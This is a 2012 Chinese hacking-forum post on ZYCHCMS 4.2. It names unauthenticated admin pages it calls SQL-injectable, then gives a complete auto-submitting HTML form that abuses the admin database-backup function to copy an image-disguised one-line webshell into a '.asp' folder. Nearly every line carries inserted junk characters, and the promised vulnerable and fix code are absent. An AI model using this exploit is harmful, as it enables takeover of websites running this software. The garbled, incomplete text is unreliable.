找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1656|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

" |  d  n, c( E8 D9 ^) `
1 H/ q8 g5 ^6 N$ G( K4 B. J
0 `5 d) i( E/ v4 c1 ?% D- a0 l$ z6 a
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀): G1 O2 F4 F' z/ c; v( D* ~% t
①SQL注射漏洞5 _. h  t. }8 j5 @( o0 N+ S  ~
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
4 i+ S" I1 {) b 漏洞原因:未过滤' ?* T, u3 N, f  _6 k4 X$ [& i
漏洞代码:
/ y9 v$ O3 o" f 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。3 F" g* {' N$ K* J5 T+ e3 D( J8 m
修复方法:在文件开头加入代码
$ Z, S, B; J  k2 C! I
! i8 v" W$ T  `1 ]4 k6 }+ L! {  s" j# L6 l( ?" J
②后台拿WBSHELL: U& [) h6 A6 O6 T  y6 z' ^, _
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。) m3 W% z. h- t8 t$ ~0 I
这里在网上找了一个,改了下,将就着用。
* \5 }7 A. W* z. N9 K1 z; J 以下是代码本地提交代码
: m; r* \* [& B( z/ m0 p . G' `& h9 t- q) Q6 G

! g, t7 p. C8 g) V; H( n<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
. b+ k# j( y) B, G' A7 } <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
5 G5 i* @/ F* }, W; T6 X <tr>
. a% Z) ]& r# x( v2 _8 h <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
% a9 |  j% y3 ? </tr>
6 d0 C' D. W% Q  k$ V5 [ <tr>: a. ?7 }. n% q& X
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>2 n7 w  A( L/ n7 g9 Q
</span>
8 Q5 j9 A  ~8 N0 a; x/ E7 w( P* O <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
5 g3 h* O7 [- I <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >& B: d( [% y( Z- W1 a3 i/ \
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
, i0 B% n: X" H1 X8 R7 P: @ <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
5 Q) J; g" t. M$ p <div align=”left”>+ ~! F7 a5 G5 E1 ~+ ?/ W2 M
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />7 P: K2 M1 Z; D; ~- ~& u
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
" Q! S+ S# P' c# Q* @% }  \  Y" h <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />4 x" p& T" |9 l' V5 Z7 z% _- |
</div></td>  F7 J! o# z4 ~
</tr>
* ?+ [$ |  c( i; y+ c <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" K& u5 p8 ~, u  `; \ <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
! j& D; Z4 [( C; F; Q <td class=”td”><div align=”left”>) Z+ A- S- R9 q
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />, W  l8 L) I; I* f5 J$ `8 t/ K
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
! W  X+ L/ V2 w: i </tr>
) Y1 s- G# x3 e' U% C <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
" f/ V: [- q- p( @* ` <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
, d# l  A9 h  ^" }  [: u* g7 j <td class=”td”><div align=”left”>! n9 ]  S8 {9 I" M; v& F: w6 ?, f( q
<input type=”submit” value=”确定备份” class=”btn”8 f6 }# `2 z5 p6 z
</div></td>
% |2 O5 ~' w8 W' b </tr>' N9 D9 P* z) t$ Q4 M: r" B7 d
</table></td></tr></form>4 M/ M. s, Z2 p
</table>
1 x0 e/ M! b5 [3 v( Y9 n) B) Q9 e </td>$ O3 O8 ]# n4 M7 I6 [$ ?% b
</tr>4 U! y  ~" `2 O0 q; u
</table>( E& q: I- O' u+ c
<script>
( _# H$ g6 Q( e$ c$ r document.all.add.submit();
7 }9 G) w& g! @! r </script>: |  j% C4 H2 \, ~3 O. C7 m0 ~
# r; {& Q; b) Q/ [; C
" X' {/ _& q9 d6 j

. e" u$ ~4 f( r, g8 y; Z: _7 a9 {

' b2 K9 h5 P  h2 p( {* Y$ {+ u8 H  [

8 u+ V. I* u+ }3 k) P  k7 q2 P; C. b1 s

$ E" \2 X9 |5 Z* [9 Y2 ^9 q% {# }  E/ F  o9 V8 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表